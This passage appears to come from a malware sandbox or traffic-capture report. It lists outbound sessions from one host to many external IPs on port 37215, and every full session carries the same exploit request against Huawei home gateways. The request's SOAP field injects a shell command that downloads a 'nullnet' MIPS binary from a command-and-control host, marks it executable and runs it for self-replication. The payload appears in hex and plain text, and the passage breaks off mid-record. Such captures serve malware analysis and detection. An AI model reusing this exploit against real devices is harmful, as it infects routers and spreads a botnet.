74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.13	42732	156.129.124.119	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.581871033 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.13	57458	156.73.242.6	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.581890106 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.13	46340	41.19.24.167	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.581918001 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.13	46268	197.191.114.215	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.581933975 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.13	58106	197.6.31.21	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.581971884 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.13	56156	41.66.17.204	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.581986904 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.13	45872	156.125.191.198	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582012892 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.13	45960	156.34.243.228	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582027912 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.13	40042	197.146.176.2	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582046986 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.13	57260	197.123.24.112	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582072020 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.13	59352	156.108.21.125	37215

Timestamp	Bytes transferred	Direction	Data
